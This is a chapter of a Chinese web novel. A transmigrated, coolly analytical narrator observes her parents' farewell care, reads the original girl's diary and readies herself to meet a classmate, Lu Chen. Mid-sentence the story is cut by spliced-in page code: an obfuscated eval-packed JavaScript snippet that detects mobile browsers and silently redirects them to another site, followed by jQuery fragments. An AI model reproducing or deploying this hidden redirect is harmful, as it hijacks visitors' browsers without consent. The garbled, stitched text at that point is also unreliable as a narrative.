开学前的最后一周，时间在程家被拉成细软绵长的糖丝。


    李秀云的忙碌是可见的，具象的，带着食物香气的。她系着那条洗得发白的碎花围裙，在厨房里陀螺般旋转。清晨，小米粥在砂锅里咕嘟出细密的气泡，配着煎饺金黄焦脆的底。午间，红烧排骨的酱香霸道地占据每一个角落，清炒时蔬碧绿鲜亮。傍晚必定有汤——有时是山药排骨汤，乳白色的汤面上浮着几粒枸杞；有时是鲫鱼豆腐汤，鱼肉炖得酥烂，豆腐吸饱了鲜味。


    “微微，再喝一碗。”


    李秀云总这么说。她微微前倾着身子，眼睛里盛着温软的光，像盛着两小盏温热的蜂蜜水。眼角的细纹在光下舒展，那是岁月用柔和的笔触描摹的痕迹。


    程见微就接过来。


    白色瓷碗温热的触感透过掌心。她垂下眼，看着碗里袅袅上升的乳白色水汽，然后低头，小口小口地喝。汤的温度刚好，暖意顺着食道滑下去，在胃里铺开一小片安稳的平原，再缓慢扩散到四肢百骸。


    她喝得很认真，睫毛在眼下投出浅淡的扇形阴影。每一口吞咽的节奏都平稳均匀，像在执行一项经过精密计算的补给程序。


    她甚至能分析出母亲今日的汤里多放了两片姜——因为前夜她咳嗽了两声。


    程国栋的忙碌则是无声的、絮叨的、带着眼镜折射光的。


    客厅地板中央，银白色的行李箱摊开着，像一只安静张开的贝。他蹲在旁边，身形微有些佝偻，有些许白发的头顶在午后的阳光下泛着细碎的银光。衬衫的肩膀处起了细微的褶皱，那是长期伏案留下的勋章。


    “秋装带够了没有？北城那个地方，秋天短得像打喷嚏，但一早一晚的风能钻骨头缝。”


    他一边说，一边将叠得方正正的针织衫放进去，用手掌压平。


    “常用药我备了一份。感冒的、退烧的、肠胃的，还有创可贴和碘伏棉签，都放在这个白色夹层里。你记着位置。”


    透明分格药盒被小心翼翼地安置在角落。


    “笔记本电脑的充电线……对了，转换插头！你们小姑娘电子产品多，宿舍那点插座哪够用，多带两个总没错。”


    他翻找着，额头上渗出细密的汗珠。


    程见微就坐在旁边的沙发上，膝盖上摊着一本《认知心理学基础》，却没有看。


    她在看他。


    看阳光如何一寸寸爬过他微驼的背脊，看他如何用那双拿惯了粉笔和红笔的手，笨拙却固执地替她打点一个未知的世界。空气里漂浮着细微的尘埃，在光柱中缓缓旋转，像慢放的星云。


    这是一个标准的、教科书式的亲情场景。


    她在心里冷静地标注。


    安全，明亮，充满生活气息。


    父母通过食物和物品准备传递关怀，孩子要表现出顺从与接纳。


    父母存在分离焦虑，通过过度准备获得补偿性控制感。


    逻辑上，她完全理解。父母爱孩子，不舍得孩子离巢，于是将那些无法言说的担忧与牵挂，都炖进汤里，叠进行李里，絮叨进那些重复了无数遍的叮咛里。


    就像她理解光合作用的原理，理解牛顿定律的公式。


    理解，但不感受。


    她更像一个手持记录板的田野调查员，走进了一个名为“家庭”的温暖样本间。她能客观描述这里的湿度、温度、光照条件，分析其中生物的行为模式，甚至能推断出背后的情感驱动力。


    但她自己，始终穿着无菌防护服，隔着那层透明的、坚韧的膜。


    触不到温度，闻不到气味。


    那些瞬间，有时美得让她呼吸微滞。


    比如某个夜晚，李秀云在客厅昏黄的落地灯光下，为她缝补一件衬衫上松脱的纽扣。


    母亲低着头，脖颈弯出一个柔和的弧度。银针在她指尖捻转，牵引着细线，一穿，一拉，线头隐没在棉布的经纬里。灯光在她花白的鬓发上镀了一层毛茸茸的金边，将她微驼的身影放大在墙壁上，像一个沉默的、温柔的守护神。


    程见微停下路过的脚步，站在走廊的阴影里看了很久。


    她的大脑迅速调取资料库，目睹着从没感受的场景：缝纫行为在人类学中常与“修补”、“维系”、“传统女性角色”相关联。母亲通过此行为，象征性地修补即将因离别而产生的家庭结构裂痕，同时重申其照料者角色……


    分析流畅而完备。


    但胸腔里，那片理应被暖流浸润的区域，依旧平静如深潭。


    又比如程国栋戴上眼镜，积极研究新智能手机的拍照功能。他皱着眉头，手指悬在冰冷的玻璃屏幕上，迟迟不敢落下。


    “这个相机参数拍人会更好看吧？”他嘀咕着，把屏幕转向她，“微微，你站过去，爸爸给你多拍几张。以后想你了，就能看看。”


    他的眼神里有种孩子气的认真，还有一丝不易察觉的、被长大的女儿抛下的慌张。


    程见微顺从地站到光线好的地方，微微侧头，让脸颊上那颗淡色的小痣落入镜头。她甚至配合地调整了角度——这是最优化成像效果的方式。


    快门声响起。


    程国栋看着屏幕，笑起来，眼角的皱纹像被风吹开的水纹：“好看！我女儿怎么拍都好看。”


    那一刻，程见微忽然想起原主日记里那句话：“我永远都是他们的小女孩。”


    酸涩的感觉，极其陌生地，从心口某个未被测绘的区域泛上来。不是疼痛，更像是……某种微弱的共鸣？像手指轻轻拂过未调准的琴弦，发出喑哑的、不成调的震颤。


    她迅速将它归类为：生理性反应，非主观情绪体验。


    然后，那点涟漪就消失了。


    她依然站在玻璃的这一侧。里面是暖色调的世界，鲜活，生动，充满烟火气的噪声。而她站的地方，安静，清晰，一切情绪都被翻译成冷静的数据流。


    【程见微，】系统在意识里问，【你在尝试‘理解’他们的情感，还是‘体验’它？】


    她沉默了几秒。


    【我在履行我的责任。】她最终回答，【扮演好‘女儿’的角色，是维持实践环境稳定、获取最佳观察条件的前提。这对他们，对我，对任务，都是最优选择。】


    【只是‘最优选择’？】


    【不然呢？】她的反问很平静。


    系统没有再回应。


    夜深时，她推开书房最底层的抽屉。


    浅蓝色的硬壳笔记本躺在里面，边角已磨出毛边，像被时光温柔啃噬过。她取出来，指尖划过封面粗粝的纹理，翻开。


    原主的字迹跃入眼帘。


    不是她那种工整如印刷体的笔迹。是另一种——清秀，偶尔带点飞扬的勾连，笔画里藏着雀跃的、未经世事磋磨的元气。记录的多是些闪闪发光的碎片：月考进步了三名，和好友在操场边分享一袋辣条，解出数学附加题的狂喜，暗恋的男生今天看了她一眼……


    鲜活的气息几乎要破纸而出。


    最后一页，日期停在那个夏天。


    “今天和爸妈去爬山了！好累，但是超级开心！爸爸居然偷偷给我带了最爱吃的栗子蛋糕，在山顶上给我过了一个‘提前的大学庆功宴’。妈妈说，以后我就是大人了，要学会照顾自己。但我知道，我永远都是他们的小女孩。爱你们，永远?”


    那个画在末尾的爱心，线条有些歪扭，却笨拙得可爱。


    程见微的指尖悬在纸页上方，久久没有落下。


    她能感受到钢笔尖压入纸纤维时留下的细微凹痕，能想象出那个女孩写到这里时，嘴角一定翘着，眼睛弯成月牙，脸颊上那颗淡色的小痣都跟着生动起来。


    这是一个真实存在过的、热烈地爱与被爱过的生命。


    而现在，这具身体


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993223|193824||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    里住着的是她——一个来自经历78年风雨的意识，一个将一切情感视为研究变量的观察者。


    掠夺吗？


    【不算掠夺。】她对自己重复系统的判词，【是自然消散后的资源再利用。我延续了这具生命，避免了更大的情感熵增。】


    逻辑无懈可击。


    但当她轻轻合上日记本，将它放回原处时，动作却比平时慢了一拍，轻了一分。


    仿佛怕惊扰了什么沉睡的梦境。


    她走到衣柜前，开始最后一次清点行李。动作恢复了惯有的精准高效：衣物按材质和季节分类折叠，书脊对齐码放，电子设备用防震泡沫包裹严密，药品盒、零食、琐碎物品各归其位。


    一切都井然有序，像一套即将投入运行的精密仪器。


    只有那个最大的、不可控的变量，悬在未来的坐标轴上——


    陆忱。


    手机在书桌上震动，嗡鸣声在寂静中格外清晰。


    她走过去，屏幕的冷光映亮她的脸。浓密的长发松散地垂在肩头，几缕发丝滑过白皙的脖颈。浅棕色的小鹿眼在光下显得格外清澈，也格外平静。


    发信人：林深。


    内容简练：“程同学，明天下午三点线上会议照常。陆忱确认参加。链接与密码不变。开学前定下详尽分工，开学即可推进。”


    她回复：“收到，准时参加。”


    手指划过屏幕，通讯录寥寥几行。在“爸爸”、“妈妈”之下，几个高中同学的名字静静躺着。


    最下方，是一个新建的联系人：


    陆忱（项目组）


    头像是一片纯粹的、毫无杂质的黑。


    点进去，朋友圈三天可见，一片空白。像他这个人留给世界的初印象——干净，利落，拒绝任何窥探，也拒绝泄露任何温度。


    程见微的目光在那片黑色上停留了数秒。


    然后锁屏，将手机轻轻扣在桌面上。


    她走到窗前，推开玻璃。夜风立刻涌进来，带着夏末最后的、微凉的潮气，吹动她颊边的发丝。小区沉睡在路灯昏黄的光晕里，远处，城市的灯火依旧璀璨，连成一片永不熄灭的光海，淹没了星星。


    明天，她就要进入那片光海的中心。


    新的城市，新的身份，新的、充满未知的棋局。


    以及——那个坐在棋盘对面，或许连自己都是棋子的少年。


    她抬起手，轻轻按住左胸。


    指尖下，心跳平稳有力，每分钟七十二次。不快不慢，像最精密的节拍器，规律得近乎冷酷。


    没有离家的愁绪，没有对未来的惶惑，甚至没有即将面对高难度任务的紧张。


    只有一种冷静的、近乎虔诚的期待。


    像数学家终于拿到了那道传说中无解的猜想，摊开雪白的草稿纸，指尖拂过光滑的纸面。明知前方大概率是碰壁与徒劳，但光是“被允许开始演算”这个事实本身，就足以让灵魂战栗。


    她望着窗外那片浩瀚的、属于未来的灯火，琥珀色的瞳孔里映着遥远的、破碎的光点。


    看了很久。


    然后，她轻声开口。声音很低，几乎被夜风吹散，却带着一种斩钉截铁的清晰：


    “陆忱。”


    夜风拂过她的脸颊，扬起几缕黑色的长发。


    月光流淌进来，在她脚边铺开一片冷冽的银白。她站在那里，身形修长挺拔，像一株在静夜中悄然舒展的植物，带着沉静的、向内生长的力量。


    “准备好了。”


    像一句咒语的开启，也像一场漫长实验的，第一个注脚。


    琥珀色的眼眸深处，那簇冷静的、专注的、跃跃欲试的火苗，安静地燃烧着。


    猎手走进了森林。


    棋手坐到了棋盘前。


    所有的变量，都已就位。


    故事，才刚刚开始。